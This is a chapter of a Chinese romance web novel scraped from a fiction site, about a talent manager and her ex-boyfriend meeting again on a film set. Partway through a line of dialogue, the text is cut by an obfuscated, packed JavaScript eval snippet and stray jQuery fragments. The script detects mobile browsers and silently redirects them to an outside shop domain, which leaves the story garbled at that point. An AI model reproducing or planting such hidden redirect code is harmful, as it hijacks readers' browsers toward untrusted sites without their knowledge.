文趣网 > 其他小说 > 前男友总是找茬怎么办 > 10. 10 不同寻常的关系。
    正式开机那天,几乎所有主演都在,现场极其混乱。

    而且演员们没什么默契,第一场戏拍得很慢。

    导演和动作指导老师拿着喇叭声嘶力竭地喊着站位,怀安在远处都能感受到辛苦。

    她肩上背着包,臂弯处夹了条薄毯子,目不转睛直视前方。

    A、B两组拍摄队伍正同时进行,迟耳站在棚子后面,有条不紊地解决一件件问题。

    这还是怀安第一次见到他工作的模样,跟平时的吊儿郎当不一样,耐心且认真。

    无人在意的角落,她把下巴埋在毯子里,想看谁就看谁,想看多久就看多久。

    阳光的照耀下,迟耳只着一件纯白色短袖,下身黑色宽松裤,墨镜别在领口处,精瘦的手臂撑在桌面,暴露完美的线条,青筋微凸,让人想触摸一下。

    再简单的穿搭套在他身上都有一种时尚和美感,不得不说,他是典型的衣架子。

    此刻,站在他身侧的导演拿着对讲机,一声响亮的“action”,将怀安思绪拉入深长的记忆里——

    高中的一次文艺汇演,怀安作为班级里文艺委员,放弃个人表演机会,亲自当导演,给班上同学排练了部舞台剧。

    本来顺利进行着,没过几天她研究剧本时发现少个群演,但当时班上还有其他节目,实在找不到合适的同学,就把迟耳拉过来充数。

    让他表演一个存在感极低、需要脸上抹满黑灰的土地公。

    “不是,我友情出演你的开山大作,就让我演这个啊,怀安安,有点过分了吧,我也是要面子的。”

    “难不成你还想演男主?”怀安笑嘻嘻,盘腿坐在地上,手指着剧本,认真分析给他道:“你这可不是一般的角色,大大推动了剧情呢,很重要的!”

    她的脑袋靠在少年肩膀上,试图洗脑,哦不,说服他。

    迟耳哼一声:“那还不是要扮丑。”

    “帮帮忙啦家属,我真的找不到人演了,就委屈你一次。”她眨着透亮的大眼睛,双手合十,点点头,祈祷对方全力配合。

    迟耳努力压下快要上扬的嘴角,忍住不摸她的头,叹了个长气,“我这回牺牲大了。”

    言下之意,你快来补偿我。

    怀安听他松口,高兴都来不及,甜话像不要钱似的砸向他,“好喜欢你,你最好了,等演出结束带你去吃饭!”

    “就吃个饭啊?”迟耳拖着长音,明显还不满意,手指故意点点脸颊。

    怀安心情好,这时候不管对方提什么要求都答应,瞥了眼周遭,迅速抱住他,在其右脸蜻蜓点水了一下,然后跑走。

    迟耳愣在原地,没想到她居然真的爽快地亲了。

    耳尖悄悄浮出红晕,全身都麻麻的,呆滞很久才缓过神……

    思绪回到现实,怀安晃晃脑袋,站在上帝视角回忆从前,总感觉那是很久远的事了。

    -

    中午的休息时间较长,栗知喜欢睡午觉,但又懒得折腾回酒店,索性躺在沙发上闭目假寐,怀安见状贴心地把毯子盖在她身上。

    怀安毫无困意,抱着手机跟好友们聊天。

    麦小满问她累不累,剧组有无发生些好玩的事。

    她回答:【累倒是还好,但是很无聊,我上午一直坐着,看他们拍戏】

    麦子:【不累就好,对了,之前就想问你,男女主是谁演的呀】

    安安:【吴歆杰和唐芊,网上一堆路透,别告诉我你不知道】

    麦子:【我都忙死了,哪管得上你们娱乐圈的事,记得帮我要签名!】

    这是麦小满多年来的传统了,每回怀安进组工作,她就要一些当红明星的签名照,不是有多喜欢,相反她也不追星,只是单纯想放家里欣赏,顺便炫耀炫耀。

    怀安习惯她提些小要求,当场应下来:【好,等我】

    安安:【下下周取景地在L市,你们看看想要什么礼物或特产,我买好带回来】

    麦子:【什么都可以嘛!听说L市的手工耳环特别好看,你帮我挑一对】

    安安:【收到】

    安安:【小好呢,想要什么】

    姜好现在才冒泡,言简意赅:【冰箱贴谢谢】

    麦子:【你每次去一个地方都是冰箱贴,有没有点新意,实在不行我去网上给你批发一百个】

    怀安发了个笑哭的表情。

    安安:【就算你们不说,我也会买冰箱贴的,还要什么,每人挑三样,快说】

    而两人就像故意给她省钱似的,都说不要其他的了。

    安安:【那我随便给你们买了[憨笑]】

    ……

    下午拍完戏栗知趴在桌上,半眯着双眼,累到不想吃饭,跟怀安招手拜拜:“安安姐,你去吧,什么都不用给我带。”

    “这样不行啊,你一天下来吃的还没我一顿多,累垮了该怎么办。”

    “我真的不饿,放心吧安安姐,我身体好得很。”

    她已经过了饥饿的那股劲,如今吃一口饭都能吐出来。

    “好吧,那我走了。”

    怀安抬头一看外面天色还早,寻思着要不要去拜访一下男主女主,把麦小满拜托的签名照要过来,免得日后忙忘了。

    于是询问周围人唐芊和吴歆杰的门牌号,二话不说直奔楼上。

    她先去找了唐芊,然而敲门没人回应,估计对方吃饭去了,直接又上一层,找到吴歆杰所在的房间位置。

    虽然不是第一次做这种事,但每回都很紧张,毕竟她跟人家也不熟。

    怀安深吸气,头靠在门边,想先听一下有没有人在休息室。

    结果正要敲门时,有规律的脚步声愈来愈近,伴随着不解的语气:

    “怀安,鬼鬼祟祟的干嘛呢?”

    怀安见到来人眼睛睁得老大,食指竖起放至嘴边“嘘”道:“怎么又是你?”

    真怀疑她身上是不是被人装监控了,每回想做些什么总能被发现。

    迟耳挑眉,丝毫不慌,“我的休息室就在这层楼,还想问你呢,上来干嘛?”

    “无可奉告。”怀安纠结还要不要继续敲门。

    “那我就一直看着你。”

    迟耳瞟了眼门牌上的姓名,眉头微蹙,顷刻间恢复平静。

    怀安与他僵持不下,眼看男人真有陪她站到底的想法,于是不再隐瞒,实话实说:“要签名。”

    “你喜欢他?”

    怀安略带烦躁,觉得对方管得有点多了,语气很冲:“我要是讨厌他还来要签名干嘛?”

    “哦。”

    迟耳的神色比刚才温柔一些。

    只见他抬起手敲门,不管人家同不同意,直接开门进入,里面男演员正一脸诧然地望着门口二人。

    “过来。”

    发现怀安怔在原地没动,他缓声说话。

    怀安几分扭扭捏捏,站在迟耳斜后方的位置。

    “迟老师,有事吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635528|206566||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    最慌张的属吴歆杰莫属,两个极具压迫感的人站在他面前,如同被两座大山笼罩,差点以为来找他约架。

    迟耳手搭在镜子框上,头稍微一偏,示意怀安,说道:“签名照。”

    他的姿态算不上有礼貌,仿佛命令别人做事一般,怀安不喜欢,也担心自己被认为是这种毫无素质的人,因此在话后面接道:“吴老师,我喜欢你很久了,请问可以给个签名吗?”

    眉梢挂上灿烂的笑容,她的话官方且找不到缺点。

    迟耳饶有兴致地多看她几眼,倒是从没见过对自己这么好的态度。

    吴歆杰的目光在两人身上打转,一下子猜不透关系,眼下也笑眯眯地说:“没问题,我现在就给你拿。”

    他起身去包里翻找,边拿还边问怀安:“请问你是……看着有点眼熟呢?”

    话毕,他偷偷打量了下迟耳的脸色。

    “我是宁婕扮演者,栗知的经纪人。”都是同行,算不上什么粉丝。

    吴歆杰了然,缓了口气,他说:“原来是这样,喏,给你,不够的话再来拿。”

    怀安任务完成后十分开心,双手接过签名照,笑着点头:“我一定会的。”

    “行了,走吧。”

    迟耳看不惯两人寒暄的场面,像是认识很多年一样,有必要表现得这么熟稔吗。

    吴歆杰混迹娱乐圈多年,演过的偶像剧少说十部肯定有,光是一个眼神就知道迟耳和怀安之间关系必然匪浅。

    他不想成为两人play中的一环,笑着说:“我还要背词,就不留你们了,晚上见。”

    “麻烦你了,吴老师。”

    怀安心里没那么弯弯绕绕,自然也错过吴歆杰和迟耳的眼神交换。

    橘色的晚霞透过窗户,反射到洁白瓷砖上,颜色鲜艳,如同打翻了的油墨。

    她站在窗边,迟耳关上门一回头就望见被炽热云霞包裹住的怀安,她像匿在光里,令人看不清神态,仿若离他很远一样,看得见摸不着。

    “喂!”

    怀安一只手在他面前挥来挥去,“这都能走神?”

    迟耳眨了下眼,又恢复那副无所谓的样子,“拿到了,满意了吧,你得好好感谢我。”

    “没有你我也能拿到。”

    怀安把签名照塞进口袋,打算去吃饭,一声不吭地从他面前走掉。

    没想到迟耳居然跟了来。

    怀安警惕看他:“你跟着我干嘛?”

    迟耳欠揍地说:“这条路你造的?”

    怀安没办法,因为确实没一条路是她造的,所以放任迟耳跟在她身后,两个人一块到饭厅。

    她拿什么饭他就拿什么饭,她拿什么汤他也拿什么汤。

    直到怀安拿了三双筷子,迟耳时刻关注着她的举动,“怀安,你有几张嘴啊?”

    “关你毛事。”

    怀安白了他一眼就去寻位置坐下了。

    不出意外,下一秒迟耳落座她对面。

    她双手握拳,没忍住:“我们不是说好了当不认识的吗?”

    迟耳慢悠悠喝了口汤,掀起眼皮,“我跟你签保证书了?”

    “你幼不幼稚,多大了还玩耍赖。”

    迟耳勾唇,对她说:“快吃饭,吃完再吵。”

    怀安被他的话噎住,在想他啥时候变得有耐心了。

    “再说下去,我碗里就全是你的口水了。”

    怀安:“……”